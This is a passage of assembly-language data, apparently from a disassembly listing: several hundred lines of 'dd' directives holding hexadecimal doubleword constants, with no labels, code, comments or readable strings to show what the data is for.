		dd 8B98CCA1h, 310FE8F8h, 226F73FEh, 0E2BECF36h,	0D05C21D8h
		dd 944287E7h, 8A81989h,	544250C9h, 0E59D88BBh, 0D360B500h
		dd 2353D4B0h, 3F9004EEh, 0FE9CB88Ch, 501A7C73h,	969A0041h
		dd 3D96070h, 2A4848E2h,	0F2101000h, 11435308h, 0E8B380B5h
		dd 0EC72E68Bh, 99437C00h, 2A6AA09Ah, 8E5800BCh,	1151A1B9h
		dd 689C4CB7h, 6898E5E0h, 0B2DA2EB3h, 0E448844h,	0D8218844h
		dd 91F411BAh, 493C03Ch,	816CFCh, 6FA09EC4h, 237704A2h
		dd 80C04399h, 0DB50510Ch, 33D7E700h, 9ECA8AB2h,	5C690173h
		dd 2D212A52h, 803C2CB9h, 60471E44h, 34DE0475h, 0A215B83Eh
		dd 0A8EC009Ch, 9143C1B5h, 1E9514E4h, 0F121D85Fh, 0B24AAB91h
		dd 0BD23011Ch, 6466E89Bh, 0E6A7ACCh, 12E43F6Fh,	82A8D436h
		dd 0F85C2139h, 94ACCDC0h, 0D4E70049h, 42598C3Ah, 283F6587h
		dd 70D450DDh, 0E0711FBh, 2E48C511h, 0E23F6CC8h,	0C02DF3C0h
		dd 68066200h, 0D7470DCFh, 0C5FF4505h, 4C83855Dh, 10A8B087h
		dd 270A0011h, 1896E697h, 0C4FF98C0h, 827D0868h,	0E8091704h
		dd 99278FF2h, 31DDA804h, 980483FCh, 5400DE20h, 15280184h
		dd 1C19BE13h, 52E8C3F7h, 4E0CC205h, 0D92CA955h,	0AFAC00F0h
		dd 41E8BB88h, 2937D800h, 0F1A7C43Fh, 0B010B547h, 0A1986D3Dh
		dd 30BD161Eh, 4342CF8h,	0BCC51550h, 995442A4h, 311401D5h
		dd 0E060E54Bh, 0C74486FDh, 0D8649D29h, 0AA039FE0h, 0A2B3A1C9h
		dd 1BD4009Eh, 1E40D141h, 4B13A8F5h, 5404B853h, 87017385h
		dd 0A6FA39BCh, 201DBA78h, 0F0121309h, 48AD50D4h, 0C33D0403h
		dd 0D2947FC5h, 3471C950h, 3946E640h, 7F6758FFh,	0C094C025h
		dd 523FE21h, 0FAD5F0A1h, 0B9FAE000h, 0BFF5EAD9h, 4456A442h
		dd 6B113240h, 4494CB3h,	41FFAE0Ah, 249A89C8h, 88D45CC0h
		dd 548AF494h, 2BCACD9h,	494C7B38h, 4498DEDAh, 618A4013h
		dd 25B0E7h, 9AE4D276h, 8B6D4E66h, 0B421F490h, 0A8BC170Dh
		dd 5F83DFC0h, 8DBE33FFh, 2BFD7072h, 400CC71h, 4EC99F53h
		dd 55820E61h, 6BE7113Ch, 0D06C1592h, 0B0A53BCh,	442D3C89h
		dd 8A968503h, 2FA9A98Bh, 1710D01Eh, 2D9ACB04h, 58C09BEDh
		dd 5C0B7019h, 47276E3Ch, 8E3A48E8h, 0A30D50C0h,	0A6D848C1h
		dd 21089090h, 7A11EC7Dh, 255EC048h, 4A748174h, 300E0058h
		dd 0F01845D8h, 8378124Dh, 0B4E37624h, 0C85C0EC0h, 542D489Bh
		dd 0F484D1C8h, 0C2401396h, 3DE7A19Ch, 8AE4E550h, 54D8455Bh
		dd 84B40092h, 2C7ABACAh, 0AE7678D6h, 36C19316h,	5780121Fh
		dd 48CDD4B9h, 0C514013Bh, 0FA5A97DDh, 34B065EAh, 74A965E8h
		dd 0CBC51064h, 70561DC1h, 3B384B2h, 0B0D4C1BFh,	96A11077h
		dd 0CC8E0B0Fh, 5C4E2ED0h, 0B0B2C45Fh, 0ED75AA1Dh, 0EF00D854h
		dd 400D501Ch, 23F4BCh, 7BE0B9B7h, 0D268AEE2h, 0DF220B2h
		dd 0A7714B84h, 1276005Ch, 2D29EB8Fh, 0C94D00EEh, 23CA34D5h
		dd 7A5D9C37h, 0D6851D0h, 0A62C38E8h, 8E4450DEh,	797D649Bh
		dd 216F32DCh, 7BB8D949h, 5DC42470h, 1F9BB81Ah, 43E3BC5h
		dd 814058F5h, 0B68858h,	0B6EBF961h, 600149C0h, 3B2D48C4h
		dd 0CFEDF020h, 435C98D0h, 0F78670DDh, 4BE4410h,	1F6DA803h
		dd 0D1813DD5h, 402E3070h, 0D1ED9D5Ch, 41E1ACE8h, 5231E84h
		dd 638054A8h, 14A6DEC2h, 3F895300h, 76193EFEh, 3818B545h
		dd 7501A98Ah, 7821B3F2h, 7A30BBD5h, 0A131699Bh,	90F7503Ah
		dd 77BB1658h, 6A180047h, 3E77D571h, 900B857Bh, 0C12CDA10h
		dd 0D082428h, 969F88h, 7C8E475Ch, 319CD081h, 3545FC0Fh
		dd 1340BDB5h, 0DDE33486h, 1D320011h, 86C4C9Fh, 0DBE6F797h
		dd 9C469409h, 0C450E123h, 0A99263C4h, 840C90E8h, 4C28CEB5h
		dd 6E01C158h, 82741B01h, 0C02161BFh, 0F21460D1h, 16A41873h
		dd 0FC923B16h, 0BA2920B7h, 309F47C4h, 9F4056D0h, 0A101C8C4h
		dd 0D9167169h, 0D4612896h, 0B316B823h, 89F009BFh, 0E6D838B0h
		dd 95662F44h, 0F1AEE418h, 0AD020F76h, 0F9319A77h, 0B150C1B6h
		dd 0C850167Ah, 2B0074A8h, 0D3DDB282h, 1E975E72h, 40ABD27h
		dd 8BC93155h, 74885A84h, 5C811C75h, 353FC223h, 546158BEh
		dd 9C570C19h, 0E82C6288h, 0F41F3622h, 10C04020h, 0F1383D21h
		dd 66138323h, 0C055417Dh, 99EBB83h, 0B4CBDC52h,	10DC7309h
		dd 0E5B2A04Fh, 307C7396h, 71AA6F53h, 5104E143h,	9FA2E601h
		dd 0D4020ABh, 5200A1A4h, 0F6A0090Ch, 2587B3BDh,	0F845259Ch
		dd 1112E08Fh, 81DAC31Eh, 0F54365A2h, 0F08FEC04h, 0D831302Ch
		dd 45796908h, 3070BAF6h, 0ACFAB8h, 6B138429h, 0F0E4347h
		dd 2C38490Fh, 0CC76296h, 42D4522Fh, 0DB410B0Bh,	0A050E8E9h
		dd 0E7800B0Ch, 0D08F65A9h, 91C17845h, 96E1894h,	79871EE1h
		dd 1903A429h, 0EA64EC60h, 980568Ah, 70D94256h, 81C1BE43h
		dd 4029CCCEh, 0DEF8D009h, 3093D498h, 314E2009h,	0E2ACC4CCh
		dd 7C208A45h, 787EB8A4h, 42E49400h, 0B3D30308h,	0ECEA015Bh
		dd 1A88AB51h, 1C8020B5h, 8F67E08Bh, 0D9B761A5h,	11757961h
		dd 0E815D531h, 0F34D80D0h, 13C9651Fh, 0A388155Bh, 54462044h
		dd 88BB4CBFh, 5D038EF2h, 5F7A6CB3h, 98E483E8h, 181C6EBh
		dd 512CB9D9h, 4028E344h, 3C87609Ch, 72E0309Fh, 317712A1h
		dd 80A4B8D2h, 7D9FBE58h, 0F3BD0096h, 7719B7ECh,	7EF92169h
		dd 5FA44030h, 61CA042Ah, 8CD846AAh, 0BE09ACACh,	0F1BC2E48h
		dd 9C1F109Ch, 0D10A826h, 962934CCh, 0F250A8C4h,	4E09DCE7h
		dd 82006DDDh, 186F047Ch, 5DDC8517h, 2840F0E1h, 3A08ADDEh
		dd 0F4093Bh, 54EC9E84h,	8A469932h, 4822ACE8h, 22300F4h
		dd 0BCC2E39Dh, 0E01EA56Ch, 414006A9h, 3C5351DCh, 0D4C5881Eh
		dd 69B5F909h, 21B04124h, 0F488180Ch, 50949D91h,	0EBA5E10Eh
		dd 0D8842C7Bh, 7AE241E0h, 0FDDF1822h, 4EBA8C21h, 852C389Dh
		dd 94D2B6D2h, 23F71815h, 47C784B6h, 4D2A009Fh, 0E52DC68h
		dd 6FDFEB5Eh, 417DA84h,	0E0D14176h, 7D18BBC6h, 2FE5F400h
		dd 7EC33D0h, 0B09B0E04h, 0DA40091Ah, 4E67216Eh,	0C542BC00h
		dd 360B4503h, 0E399006Bh, 9A1AADF3h, 4909DFD0h,	604C7B0Dh
		dd 847A1DA0h, 8831075Ah, 8988379Eh, 0D1ADBE2Fh,	5061003Ch
		dd 3FDB4FA3h, 2BC19000h, 67C77ECAh, 922030D0h, 0CD08E508h
		dd 7B7F8209h, 10C05453h, 4F019325h, 0E5101512h,	59102068h
		dd 224D84F1h, 0DE54A853h, 7E95C9h, 0E5C02BE8h, 50A2952Eh
		dd 0D4CE6AC4h, 344BB400h, 0B20916CEh, 682E3E66h, 77379980h
		dd 7257ABFFh, 1D972B0Dh, 24FD6112h, 3C94CC3Fh, 5500D9F2h
		dd 71E45FA6h, 1D86582h,	154FB02Fh, 0D22ED11Eh, 0FEDC11D5h
		dd 0C455C990h, 72AE2158h, 38D95D3Ch, 0F4D7498Ah, 4C8FF442h
		dd 0E23626BCh, 2B5B6280h, 0AA1DB0E6h, 0CAC026FAh, 0D77E8F4Dh
		dd 81B04A69h, 80258580h, 0EF95AA08h, 17B7D0F5h,	0BCF44344h
		dd 781A81F0h, 0B81630AEh, 3C839012h, 0E02B20D9h, 0B42CD33Ch
		dd 2AC0DC31h, 0A47AA1h,	6C8D09C7h, 0CBD516Bh, 6C6E73Bh
		dd 79F22F8Eh, 2175EB8h,	0E2535298h, 44C96C5Eh, 0AA507DCh
		dd 47A0D251h, 0D07750ADh, 0E900CDF2h, 93A9C5C1h, 25653D9h
		dd 3EE564B5h, 0B449ADE4h, 75B0911Fh, 5B022820h,	0E245B711h
		dd 0A572007h, 0D0008503h, 10EEF53Bh, 0E86E8C25h, 83CE0204h
		dd 0D7FBE6F6h, 65002476h
		dd 0F9C220E2h, 6C334C96h, 0E86C820Ah, 0EAA2BDF0h, 0B46F4522h
		dd 0D1408F8h, 0F0502544h, 80D4F25Bh, 6CBB6E28h,	5A1B0002h
		dd 3B43A64Eh, 0C00E7C69h, 258A7B08h, 0D045BE48h, 70AC9BF4h
		dd 22C5D984h, 9B6A1099h, 0A8A25F4Eh, 5C87D901h,	0C0218079h
		dd 0C98D618h, 3DC41600h, 0FDD38F77h, 0B991887h,	459DB0B0h
		dd 0EEC75C96h, 0DBA2C2D0h, 0C7FB0163h, 0C3FC3D52h, 25C42CB2h
		dd 0A0F0E5E5h, 9D8000C0h, 2F9245B9h, 4907A9Eh, 0F2E5BF04h
		dd 708C2198h, 8970E29h,	0B86B9D4Ch, 31B53424h, 0E98823FCh
		dd 0C29242A4h, 219C20BEh, 5C0E8D06h, 47C77C5Ah,	58D0A413h
		dd 17BEF09Ch, 0E81D3E56h, 9293E0BCh, 4D3C3C07h,	9F20D85Ah
		dd 9434286h, 2A6BE828h,	698A6810h, 9024543Bh, 7D589646h
		dd 0E24A80C6h, 0E0E47024h, 4F2C0Eh, 9381E152h, 856F00EFh
		dd 0B9BEC012h, 8EE47ACh, 4CF3412Ch, 386FD70h, 52422696h
		dd 21131FBDh, 0FCF521C5h, 5ADCD86Fh, 22E8934Ch,	5A78BF2Ah
		dd 5188E769h, 0E5FB1788h, 6C65D400h, 8D270800h,	0BD9F6E9Ah
		dd 48697CD2h, 0ABC0280Bh, 0EEC4258h, 6CE5385Bh,	0C0203DE1h
		dd 0BECE194Ch, 8212149h, 0A29808h, 1CCF0A5Ah, 0BE69E4FBh
		dd 442AE527h, 7D71D0h, 179D82CCh, 0A8EFC342h, 4BA42809h
		dd 0F7C054Dh, 0D0F3A4D4h, 19C66F00h, 0B94253BAh, 9D0DAE00h
		dd 200A233Dh, 489897C0h, 470EDFA4h, 425C45F3h, 8EE797D7h
		dd 0BED1E308h, 385180E2h, 587B1372h, 0EBEA0097h, 0E0C51CBAh
		dd 0D36CBD00h, 0E8086FBFh, 0A02A0188h, 801B01EEh, 0ACCC6BD2h
		dd 0C302C04Bh, 77FF323Dh, 45809A00h, 0EDDEA79Bh, 133C13B0h
		dd 0AF5C88F5h, 0CC420D00h, 0E16C663h, 28B90001h, 1FB19F4Ah
		dd 0D225532Dh, 8A3CD1BDh, 3B0CD6C5h, 0EC92BCA7h, 0BA1E4CE4h
		dd 944069ADh, 0BC348D0Bh, 0DD563F45h, 0B68EAB3Dh, 8AA032D7h
		dd 0C4749ECBh, 871CDB01h, 56AC2E88h, 4E90CC7Eh,	6E40B8E6h
		dd 4D9627F2h, 3D68F490h, 0B400E491h, 30D7BCEFh,	40DB4A99h
		dd 7A23454h, 0B5260EB9h, 14019CE3h, 21724356h, 385CD83Ah
		dd 80D2323Eh, 3FBFC1D8h, 0E837B04Dh, 53EB00FDh,	24BC6231h
		dd 0F926E68Ah, 384D0E0h, 0F082A943h, 0FB8E2017h, 0E42D36D0h
		dd 4BCF96Ah, 0BE23AC4Bh, 0EEBE8C00h, 0B774E444h, 58965844h
		dd 0E6AB8605h, 0E3799880h, 0A3D05F31h, 0F8240060h, 2A100912h
		dd 0FA470459h, 0ACC33CDBh, 0F79E8058h, 3DC6B056h, 3A007223h
		dd 0D3BAFA0Dh, 180FDF95h, 0D30854D8h, 3E80A0B2h, 0D8A39604h
		dd 98F31D5Ah, 8EC1D100h, 0F61C697Ah, 0D4016E90h, 252904B3h
		dd 403A7806h, 0B43767D0h, 0E300D332h, 94B3F391h, 6C8FD4h
		dd 83857D6Dh, 49574FA0h, 11961612h, 0D336F0D0h,	0C44A48C4h
		dd 0E9459813h, 0E9278090h, 0F49B2Dh, 0DCB4D023h, 0CC9D550Bh
		dd 0A1FFDCEBh, 542F0600h, 0D2E16CD9h, 2C43B573h, 2830EED5h
		dd 5D405606h, 2C0260A3h, 6BB89CBEh, 8F0F405Eh, 73AF7DA2h
		dd 0C26500CCh, 0EE85B937h, 2D1D7001h, 6CD4A5BBh, 0C47603ECh
		dd 0EA822268h, 0D238C420h, 241200B0h, 0E1ED1335h, 0DE011F96h
		dd 0E8EE11D4h, 74E5D6FAh, 0C3803C68h, 0E9F6A7EAh, 844DA13h
		dd 0C3CC4A1h, 3F245680h, 94C07C43h, 88DD5984h, 0BE7FC34h
		dd 0B0928FA2h, 183B80E8h, 9C827D8Ah, 0C5231D09h, 0EDF380C1h
		dd 3D00706h, 0D256E962h, 60091F3Bh, 450910C0h, 0F27DE1E7h
		dd 57C00856h, 39C61705h, 0CD855159h, 809E2BDCh,	0BDDFE9B7h
		dd 40D5B27h, 14C09C34h,	4C7304Bh, 48C4285Dh, 0F836BAD8h
		dd 8C94B510h, 5037B81Fh, 761D7480h, 0C4A7B78Eh,	5F2181C8h
		dd 9095C692h, 386420EBh, 0A50051CDh, 28B552F5h,	3905C08Ah
		dd 1770C2B7h, 0B24DEB5Ch, 902C3208h, 8578542Dh,	0C2D0EDF4h
		dd 20F1A4F1h, 0E086DA0Bh, 28DEF91Ch, 92DB9Ah, 6F30EE1Eh
		dd 0AA9D3419h, 0E125A413h, 99113490h, 0DC21FB76h, 5325BC4h
		dd 483BA7E6h, 0AB4F9D7h, 0C5A2CC39h, 12DC2101h,	59C00E1Eh
		dd 4FE04BFDh, 0FE60F3CCh, 0D6387052h, 6E414900h, 56151C2Ah
		dd 2B980A59h, 0A5A8BCE8h, 0E4120853h, 95935002h, 0DFF04250h
		dd 0E31F8496h, 1EF85509h, 0B01308C8h, 4F81ECA8h, 0C89AC658h
		dd 0CE0214E4h, 0FFBCA4BAh, 8394422Eh, 0F7B848A4h, 0DC793137h
		dd 0DA4CE310h, 0ACB840B0h, 0D8ECA000h, 51A10502h, 0BD1E02ABh
		dd 840CE838h, 0D8603075h, 0AFCA3E97h, 616899A4h, 100FE0B1h
		dd 27D00Eh, 0CC9A2DEAh,	0A8E6E1C5h, 48B404B7h, 0A74B5CC1h
		dd 7020BA04h, 3C902D1Ch, 0C92602F8h, 0B6B06090h, 51001D94h
		dd 3AD626EBh, 90CC373h,	71FA163Fh, 0EA601476h, 2836B514h
		dd 7BFA5866h, 0CC109FFAh, 0CE7F0183h, 174E8801h, 0C7264BF1h
		dd 0A0B1F0h, 84C8030Fh,	112936B7h, 7190E195h, 2C20EB14h
		dd 87976Ah, 8C6D17DAh, 6995F17Eh, 83EAB0C4h, 0D55C62EBh
		dd 0F4101A41h, 9E26ACF5h, 580F03B0h, 748301A4h,	44CA97DDh
		dd 182D0A34h, 408CA78h,	0B8C3DF45h, 3E698354h, 0E447E86Ah
		dd 0B2AC13E1h, 0F88204D7h, 5040EE88h, 8EF02439h, 94C49777h
		dd 0E10AF900h, 906DFA64h, 5C35FC52h, 0BE01F0FDh, 87B6B25Ah
		dd 471C20B7h, 61DBDC2Dh, 0CC08C530h, 2126080Bh,	477CFC7Ah
		dd 87DF8030h, 0A400DD72h, 48986AB9h, 730DB01Ah,	0B7470940h
		dd 0E49128FDh, 2D64396Eh, 43A47194h, 2FC0BD9Ah,	0F774F383h
		dd 420374Ah, 0B4B7D949h, 9528E0A0h, 1607259Bh, 7DE0E37Ah
		dd 9C9D619Ch, 17946594h, 48F224h, 0BC5ADF92h, 963EFC7h
		dd 20AAAC32h, 28F0107Fh, 2FB8B155h, 0E32DEC18h,	2FFB9F00h
		dd 2B38EE8Eh, 584704BFh, 80D0095Fh, 33976500h, 0B8434F00h
		dd 9DFE8982h, 8B382C11h, 84C50008h, 662075AAh, 0EC9E531Fh
		dd 0C49F6B40h, 1ED3308h, 1E52F2DFh, 0C96F2E4Dh,	5CB84030h
		dd 0FCB956C2h, 93325A80h, 5F3B38DEh, 0A85F04Bh,	4CC39E7h
		dd 91F48031h, 0EC210C8h, 6BE5ABE0h, 90A0D389h, 1AC3DA09h
		dd 9EAFCF00h, 0FEAB8373h, 0D2203CDDh, 1185EB18h, 91653208h
		dd 0CBCC129h, 0E01B0387h, 4CE1C30Eh, 51F7B00h, 51F4FF7Fh
		dd 3271D7h, 8ED0DD44h, 0A5DC1F8h, 0EA3ACFEEh, 48BF856Eh
		dd 98E92175h, 38F06680h, 0FF00447Ch, 37878165h,	24043CDCh
		dd 13FF7BDFh, 2C7C000Eh, 8F8D2D84h, 1707C0B0h, 0BFF19C78h
		dd 0D5311EC2h, 9AF2BCA1h, 8B783845h, 60404EBDh,	0B6CCA4B8h
		dd 33029976h, 112CC66Ah, 952CDE06h, 844D2049h, 142CC485h
		dd 7F9434h, 3197637Eh, 0DB6F928h, 60B4CD27h, 5B614260h
		dd 0D2002375h, 0D82F88F9h, 60256A09h, 799092EEh, 0D218001Ch
		dd 97BBB562h, 70759607h, 0AF902645h, 74AA4ABh, 39943D1Dh
		dd 0B0413B7Dh, 9AF411BCh, 0C76C987Eh, 3498C100h, 0A585A6Ah
		dd 0FA8E033Fh, 56BEA6EDh, 0AC28AEBDh, 6ECD016Dh, 44D754DFh
		dd 8448FE70h, 8400F7D9h, 23E60C65h, 0E0B3B7h, 0E56C43D6h
		dd 13CBC28h, 0B1C7C0C2h, 589C411Fh, 49839010h, 0B77BD800h
		dd 949A9637h, 0CDBE05BFh, 24221B18h, 6E8CD994h,	0FCEDF40Bh
		dd 1091E0C4h, 673C1FEBh, 4E7C80DEh, 454115ABh, 64489F14h
		dd 1831DC2Fh, 0C6C088A1h, 0D348919Fh, 804CBC7Bh, 5594B830h
		dd 0E7B21C3Ch, 4F0840B4h, 5E4A2D3Bh, 0E556DB1Fh, 68359485h
		dd 0C530B444h, 1A8CE852h, 74E82A48h, 0DCE18070h, 5B7D59A4h
		dd 70A3E500h, 0C465A6Bh, 61E9009Fh, 519DB84Bh, 9526FEh
		dd 0D0252AA8h, 0A23D4B56h
		dd 2C9210Ch, 4590F95Eh,	0BD9C1175h, 0C8701710h,	0BDF6800h
		dd 1A495435h, 2B132725h, 9045B0F0h, 0E40CC2Ah, 0E83D3A28h
		dd 274ECB5h, 84122EFEh,	1F6024E9h, 0EE003863h, 542996Fh
		dd 1732AF03h, 0C847204Dh, 0DB959CD4h, 4E880C8h,	389B277Ah
		dd 0CD645A09h, 0D420026Dh, 790537Ch, 7342FD3Bh,	35B894D9h
		dd 0EF00F47Bh, 0E42F9197h, 5A589271h, 0A78098C1h, 0A1ABEA1Eh
		dd 20D84580h, 0B614A8h,	0CD7B3C35h, 54DD1A2Dh, 18FC8548h
		dd 0E5F145B7h, 9C380203h, 0E73608CBh, 0B4A8147Eh, 5D4A3C02h
		dd 74169BC0h, 1954A6E0h, 623DD107h, 0CF4D00F8h,	0F7360CD8h
		dd 4B920004h, 0AB817916h, 46977456h, 941E088h, 0E2537E9Ch
		dd 0D1DD60E8h, 91662900h, 2F8BD0DCh, 0B6604EC3h, 28B300ECh
		dd 334847F8h, 4830E48Fh, 96818486h, 3E3AB1DBh, 17AB5C85h
		dd 0E50C2068h, 3C092718h, 76E6A9C1h, 57984048h,	1A702E05h
		dd 0F69DE203h, 0C887FCC4h, 219F47h, 5E86DB20h, 629EC123h
		dd 19134FECh, 5E10410Bh, 0ADD5129Ch, 1E24C1Eh, 0B2CED4BBh
		dd 7D8350B7h, 2C167E5Ch, 550258C2h, 0C1791B78h,	0EC87A6Ch
		dd 14EA7A47h, 18F2A031h, 496F800h, 7E7A17A2h, 0E0D6C500h
		dd 0F124C1Bh, 23EA013Ah, 3087B3C4h, 445030BBh, 5ECD274h
		dd 0FE835400h, 2CC82B2Dh, 0C794C7Dh, 9317940Eh,	4078C509h
		dd 25E87C53h, 8044D322h, 159C5E3Eh, 70008059h, 0A962829Bh
		dd 5E27386h, 0C3F86757h, 9432BA2Bh, 6C0723BEh, 2DDC90C8h
		dd 2A024700h, 0E888315Ch, 3C204DBCh, 0D4D0C725h, 3808655Bh
		dd 0D349853Dh, 5428EEC5h, 0B046B519h, 2FD8BA16h, 0E57FBE05h
		dd 20056040h, 236B8F0h,	8B833EEDh, 0AFD725FEh, 293191E4h
		dd 3FCC6240h, 48E5388Ch, 46204840h, 0C08C494Bh,	0F3FDE58Fh
		dd 0C85C983Ah, 23000671h, 0CCD7FAFh, 0C74F30h, 95C1AD09h
		dd 0E48EFD65h, 0D6B0DD67h, 41978680h, 7010F6EEh, 0A3375AAEh
		dd 2056B2E4h, 4E338E13h, 556C5E00h, 3BD0F6B1h, 400E2EB8h
		dd 0E89C0914h, 230BFC70h, 0FCE35020h, 0C1080880h, 113F5305h
		dd 0EBC7B8ADh, 3326C3EDh, 0C64D8DE8h, 0E444E52h, 7FC5769Dh
		dd 1334516Dh, 5BEC0A24h, 0D8C43DE0h, 3DEAA09h, 0CC045572h
		dd 0A0EC576Ah, 76ACD13Dh, 45E21390h, 0FF3B2634h, 1838C04Bh
		dd 5FD92068h, 875CC090h, 1054CA91h, 316E6C0h, 44EC60CCh
		dd 5F54A25Bh, 33300C8h,	10C3FED2h, 0A4D8B405h, 340391E6h
		dd 0A3C5B15Fh, 0C0F780E8h, 0BEA10954h, 1844A562h, 26445101h
		dd 28CE052h, 2E1C56D0h,	3486EC37h, 8048F8C8h, 9ABA99B7h
		dd 8B8F14EAh, 6E000CE6h, 0C9EDA74h, 9A5B55BBh, 40B6A420h
		dd 3383BC3h, 8DA75A00h,	577BB797h, 76D95400h, 85508F66h
		dd 131C00DBh, 1F03CB09h, 0E5716A21h, 5B40B002h,	7FBFDA0Dh
		dd 2C6620B2h, 0A3615E00h, 5D60F4DAh, 83C2046Ch,	8D1C4385h
		dd 0EE3B20ECh, 0D761DF00h, 0B5FCD2C7h, 0DDDE0001h, 0FF7EE607h
		dd 0F008746h, 0E4D70273h, 98C98AABh, 2CF60454h,	0C488960Eh
		dd 8038FC7Ch, 41F27E5Ch, 162009B6h, 0C42BD31h, 0A24084DCh
		dd 256DDB27h, 34890C77h, 561AFC10h, 1C22465Fh, 0C7E833A1h
		dd 15174097h, 0C08941C5h, 2EC9D078h, 4189675h, 2B87E59Bh
		dd 0E088ABC0h, 21FD1F0Bh, 5C66004Fh, 96C3E4B1h,	0E12EC900h
		dd 4AEEAC48h, 6A7331h, 0B05B163Ah, 0B898259h, 0B5F9740Fh
		dd 28ACE320h, 56AEA82Eh, 4BE0B63Ch, 0B6423C42h,	93F700E2h
		dd 0ACFA8F4h, 8B44005Ch, 14D1AD12h, 5D059CB7h, 0F0931584h
		dd 97657800h, 0A194DCh,	0AD039EB7h, 0F4642C43h,	45CB9B17h
		dd 0BA807CA9h, 0FFA0E85Dh, 5C947325h, 6B3C4038h, 0F1767633h
		dd 0F803A370h, 4EA6D858h, 5049E8DFh, 0BA1300C0h, 96DDFA02h
		dd 0B1FF71Ah, 9597C588h, 0D7CABC00h, 0C9AD3Fh, 0C6C72F97h
		dd 0AF28B48Bh, 0ABE0BE00h, 0CD766906h, 4824920h, 3F714C83h
		dd 0A11578F8h, 75CE5B7h, 43B86D79h, 53E93D62h, 4A67E8D3h
		dd 4DCA0D1Ch, 0F302614Fh, 432C90F2h, 0C2441A8h,	0C0007CE6h
		dd 985BECCh, 0BAF10175h, 0BC03BF5h, 0D7CE70E6h,	9513537Eh
		dd 70B9B7AAh, 0CB0B9180h, 0C902736h, 18C8EF12h,	8420F8A0h
		dd 9144ACB4h, 61F48CAAh, 1CE54A13h, 36400Eh, 37D3AD98h
		dd 19290418h, 0D2B75493h, 0B064DB50h, 0C1A4B100h, 918E0E2Dh
		dd 8C71007Ah, 0ABD236C9h, 1F052A58h, 0D388496h,	1288EC07h
		dd 18D2ED84h, 0F0105DE6h, 4E002AB5h, 3B7A40EBh,	380669Ch
		dd 422863FBh, 59847EEh,	9B4AF304h, 2302688Ah, 909D6199h
		dd 0A21D2C44h, 0A4A4A7EEh, 0F345D709h, 2C14077Ch, 20C9E0E6h
		dd 0C00012C2h, 738B600Ch, 163581C5h, 23BC2F16h,	0ABF1B50Ch
		dd 8033C1h, 260CE8F0h, 38EAA414h, 81FC874Ch, 884DEC8Ah
		dd 9E664A1Eh, 0F1197B80h, 0FA840906h, 0C1322C3Fh, 67936074h
		dd 827CABD6h, 0F7778B0Eh, 4FB7E05Ch, 0D165A5Eh,	0E0678C20h
		dd 84A02F08h, 0B8EC0163h, 502C28EBh, 0DAA4F4A1h, 3303AA07h
		dd 0F430CBF5h, 48645E2h, 0DC2DB9BAh, 0FCC2AEBFh, 529F1091h
		dd 2E984C05h, 0BD819A37h, 1C735B48h, 0CC67D600h, 288D2FA4h
		dd 59A01525h, 0B34610C0h, 6BBEE0B2h, 0D8DF000Eh, 0B612CE9Ch
		dd 0DC0B3A8Fh, 5CC54D33h, 0E0E3E064h, 8E2C0514h, 15003F39h
		dd 894934E9h, 0F84600BDh, 6823D980h, 0E037A10h,	2F9CC5Ah
		dd 816BB004h, 0B9DC00FEh, 5216F3FAh, 7A0CF059h,	50089FB7h
		dd 968D30EDh, 72D10408h, 7B3E1700h, 15360C25h, 14E3505Ah
		dd 0B5B61E83h, 0DE7A0664h, 3F000856h, 9D98C161h, 1D8DECF6h
		dd 32495FA8h, 8209359h,	1CADA96Bh, 400D885Dh, 560EB3Ah
		dd 0F500B730h, 711B9F21h, 0B5BFC5h, 0DADC25Eh, 0B727983Fh
		dd 99E93700h, 26D4DADDh, 20E207B3h, 8589A1h, 0F773FB1Ah
		dd 0EBB0BD0Fh, 807C0EEFh, 6BD98E04h, 0D6F80092h, 0AD77615Ah
		dd 2E01ECFBh, 0DF57DCDAh, 289FE54Eh, 29038039h,	0CB0E44D6h
		dd 6F37DCE8h, 5B92B997h, 311DC085h, 0F031CFDFh,	0D74EAA83h
		dd 0A17A111Fh, 0D844E8C0h, 9670B02h, 0DD2A4B84h, 483A6B06h
		dd 99B0B537h, 0CBEC86B3h, 5EDEB0FBh, 9A52AE8h, 7B6D79B0h
		dd 25C70ADFh, 0BEF85FA9h, 70C0990Ch, 0D6614E81h, 0A31E3079h
		dd 753CF8h, 2D37F30Eh, 0F01C4217h, 0EC351819h, 6E10E331h
		dd 0EF03ACD6h, 0C236264Fh, 0A615A079h, 1E530F3Fh, 30809C32h
		dd 86AB5EDAh, 0F50CA03h, 0D662A92Dh, 0B6241889h, 5AA8C9ADh
		dd 98F7A100h, 51346093h, 0BAED069Fh, 316BDCDBh,	102D0406h
		dd 3911F0F7h, 1C0E5BBFh, 8DC16F68h, 0F01A7934h,	0E20E7AD9h
		dd 0C099C860h, 0E153C4A5h, 1F2601CFh, 9B4A7F3Dh, 8AC04C2Dh
		dd 8D032C91h, 0E051CAEEh, 0F1C4F70Eh, 69CCA980h, 693BF7Dh
		dd 1F256D02h, 45353FB6h, 0C6CE1068h, 19EEF6h, 3E9CBB2Bh
		dd 8BCB0198h, 0C332B007h, 0DA012F73h, 2980F3F6h, 0A81C80C0h
		dd 2B0065C4h, 46683ACh,	0E2694FB0h, 2E54F4AFh, 0F058D4h
		dd 0C0FF6CBAh, 0B6362A8h, 9B8D41h, 5D1E1BC9h, 65AAD93Dh
		dd 2D005E78h, 0E3F93128h, 1405C160h, 0BCECEEA1h, 20505F3Dh
		dd 0DF3A4069h, 22FA3200h, 304C88C9h, 0C8B700C1h, 0AA5E06FCh
		dd 69E225A9h, 1B1CBE0Bh, 0B02702A0h, 426440E7h,	16360E0Eh
		dd 30E163F7h, 0D0091532h, 42F55EA9h, 0FB206734h, 2C1AD5B5h
		dd 3A821C0Dh, 0F8B12100h, 27E0504Ah, 8B599400h,	296FC7D9h
		dd 492F0744h, 5062876Bh
		dd 0AFC96315h, 2E65A91Fh, 754F6F03h, 0F167E005h, 143EEDAh
		dd 5C1E73B1h, 800C8526h, 28AB9E08h, 1FB99A2Bh, 801043A4h
		dd 12E24C5h, 1D00871Ch,	0E3D407D3h, 29855A0h, 917FDF37h
		dd 1B4162E8h, 3A2BD8BFh, 90E31700h, 0AB5897A7h,	186A60B6h
		dd 5740F218h, 0BF96D000h, 1F9E3025h, 35A6005Ch,	377FE4E2h
		dd 0AE007310h, 0B1BABECBh, 0DDB494h, 0BD6D620Eh, 0C10F3E53h
		dd 5E39CC6Eh, 2366C1F0h, 0F1315C41h, 0E2A7050Eh, 1FC50440h
		dd 8200ADD1h, 7DC7B4C0h, 6116403Dh, 0E58B4127h,	9A94C4C5h
